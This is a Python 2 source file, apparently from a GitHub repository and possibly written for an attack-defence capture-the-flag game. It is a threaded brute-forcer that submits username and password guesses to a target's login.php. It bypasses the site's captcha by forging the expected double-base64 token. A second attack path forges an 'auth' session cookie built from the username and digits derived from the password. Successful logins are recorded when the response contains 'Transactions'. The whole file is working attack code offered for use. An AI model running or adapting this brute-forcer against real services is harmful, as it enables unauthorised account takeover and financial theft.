-
Notifications
You must be signed in to change notification settings - Fork 1
/
brutes.py
108 lines (95 loc) · 3.11 KB
/
brutes.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import Queue
import base64
import cookielib
import random
import threading
import time
import urllib
import urllib2
from config import TARGET_HOST, LOGGER
from misc import generate_cookie, add_good
from my_queues import account_password_queue, known_users, ENEMY
__author__ = 'gifts'
class Base_Bruter(threading.Thread):
def __init__(self):
super(Base_Bruter, self).__init__()
def generate_opener(self):
self.cookiejar = cookielib.CookieJar()
self.opener = urllib2.build_opener(
urllib2.HTTPCookieProcessor(self.cookiejar),
)
def generate_captcha(self, value):
return base64.b64encode(base64.b64encode(str(value))[::-1])
def brute_login(self, user, password):
rand_captcha = str(random.randint(10000, 99999))
req = urllib2.Request(
'http://{0}/login.php'.format(TARGET_HOST),
urllib.urlencode(
{
'login': str(user).strip(),
'password': str(password).strip(),
'code': rand_captcha,
'_code': self.generate_captcha(rand_captcha)
}
)
# TODO: possible headers error
)
data = self.open(req)
return data
def brute_login_with_session(self, user, password):
self.cookiejar.set_cookie(
generate_cookie(
'auth',
'{0}|{1}|{2}'.format(
user,
'2',
str(int(password) % 10000).ljust(4, '1')
)
)
)
req = urllib2.Request(
'http://{0}/index.php'.format(TARGET_HOST)
# TODO: possible headers error
)
data = self.open(req)
return data
def check(self, data):
return 'Transactions' in data
def open(self, request):
try:
result = self.opener.open(request)
except urllib2.HTTPError as e:
result = e
data = result.read()
return data
class Bruter(Base_Bruter):
def run(self):
LOGGER.info('Run brute')
while 1:
try:
user, password = account_password_queue.get(block=1, timeout=10)
except Queue.Empty:
continue
if user in known_users:
continue
self.generate_opener()
data = self.brute_login(user, password)
account_password_queue.task_done()
time.sleep(0.01)
if self.check(data):
add_good(user, password, data, self.opener)
class Bruter_Enemy(Base_Bruter):
def run(self):
LOGGER.info('Run brute')
while 1:
try:
user, password = ENEMY.get(block=1, timeout=10)
except Queue.Empty:
continue
if user in known_users:
continue
self.generate_opener()
data = self.brute_login_with_session(user, password)
account_password_queue.task_done()
if self.check(data):
add_good(user, password, data, self.opener)